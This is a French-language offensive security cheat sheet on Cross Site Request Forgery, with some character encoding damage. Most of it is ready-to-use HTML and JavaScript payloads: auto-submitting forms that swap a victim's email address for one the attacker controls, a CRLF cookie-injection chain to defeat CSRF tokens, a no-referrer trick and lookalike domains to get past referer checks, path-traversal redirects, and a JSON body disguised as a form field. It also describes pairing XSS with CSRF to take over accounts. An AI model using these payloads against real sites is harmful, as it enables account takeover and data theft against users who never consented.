๐ŸŽฃCSRF

Cross Site Request Forgery

Sites:

Mindmap

Prรฉrequis:

  • Une action pertinente. Il y a une action dans l'application que l'attaquant a une raison d'induire. Il peut s'agir d'une action privilรฉgiรฉe (telle que la modification des autorisations d'autres utilisateurs) ou de toute action sur des donnรฉes spรฉcifiques ร  l'utilisateur (telle que la modification du mot de passe de l'utilisateur).

  • Gestion de session basรฉe sur les cookies. L'exรฉcution de l'action implique l'รฉmission d'une ou plusieurs requรชtes HTTP, et l'application s'appuie uniquement sur les cookies de session pour identifier l'utilisateur qui a fait les requรชtes. Il n'existe aucun autre mรฉcanisme en place pour suivre les sessions ou valider les demandes des utilisateurs.

  • Aucun paramรจtre de demande imprรฉvisible. Les requรชtes qui exรฉcutent l'action ne contiennent aucun paramรจtre dont les valeurs ne peuvent pas รชtre dรฉterminรฉes ou devinรฉes par l'attaquant. Par exemple, en incitant un utilisateur ร  changer son mot de passe, la fonction n'est pas vulnรฉrable si un attaquant a besoin de connaรฎtre la valeur du mot de passe existant.

Principe

Exemple de modification d'email:

POST /changeemailaddress HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=target@mail.xyz

Exploit: (Test dans un fichier html en local)

<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Si la victime se rend sur le site web de l'attaquant contenant cet exploit, une requรชte HTTP sera envoyรฉ ร  l'url "https://target.com/changeemailaddress" prรฉremplie avec l'email de l'attaquant (evil@mail.xyz).

Si la victime a une session active sur le site target.com, l'action sera alors faite via son compte et son adresse mail sera alors remplacรฉ par celle de l'attaquant.

Bypass de jeton CSRF

  • Tenter d'utiliser une autre mรฉthode HTTP que celle utilisรฉe.

  • Supprimer le paramรจtre "csrf" de la requรชte.

  • Utiliser son propre jeton CSRF ร  la place de celui de la cible.

  • Si le site Web contient un comportement qui permet ร  un attaquant de placer un cookie dans le navigateur d'une victime, L'attaquant peut se connecter ร  l'application ร  l'aide de son propre compte, obtenir un jeton valide et un cookie associรฉ, placer son cookie dans le navigateur de la victime et transmettre son jeton ร  la victime lors de son attaque CSRF. (CRLF + CSRF)

  • Si le site utilise un header X-Csrf-Token, le remplacer par "1".

<img src="https://target.com/+<CRLF payload> onerror="document.forms[0].submit()">

Exemple:

<html>
  <body>
    <img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<KEY>%3b%20SameSite=None" onerror="document.forms[0].submit()">
    <form action="https:///target.com/changeemailadress" method="POST">
      <input type="hidden" name="email" value="test2&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="123XYZ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>

Bypass de vรฉrification de l'en-tรชte referer

Si le site se fie ร  l'en-tรชte referer pour valider si le site de l'attaquant fait partie d'une whitelist ou non, on peu essayer d'ajouter une balise <meta> "no-referrer" ร  notre PoC.

<html>
    <meta name="referrer" content="no-referrer">
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Cela suffit parfois ร  bypass la liste blanche mise en place.

On peut aussi utiliser un nom de domaine tel que https://target.com.attacker.com pour tenter de bypass la regex vรฉrifiant le domaine de confiance.

Exemple:

<script>
    document.location="https://target.com/changeemailaddress?email=attacker@mail.xyz&_method=POST
</script>

Via paramรจtre acceptant du path traversal ou vulnerable ร  open redirect

Exemple:

<script>
	document.location="https://target.com/example/path?parameter=../../changeemailaddress?email=attacker%40mail.xyz%26submit=1"
</script>

XSS+CSRF => Account takeover

Parfois, il est รฉgalement possible de coupler une injection XSS (permettant de voler le token CSRF de la victime) et une CSRF avec XMLHttpRequest afin de parvenir souvent ร  la prise de contrรดle d'un compte ร  haut privilรจges.

CSRF sur endpoint JSON

Avec ACAO sur *

Dans le gรฉnรฉrateur de PoC CSRF de burp, dans options utiliser la technique "Cross-domain XHR" et set xhr.withcredentials dans le payload sur false si le true ne fonctionne pas.

Avec Content-Type: text/plain

<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name='{"username":"evil","email":"evil@mail.xyz","foo' value='":"test"}' />
        </form>
    </body>
</html>

Impacts possibles

  • Fuites de donnรฉes sensibles

  • Enregistrement de Self-XSS dans le navigateur de la victime

  • Account takeover

Derniรจre mise ร  jour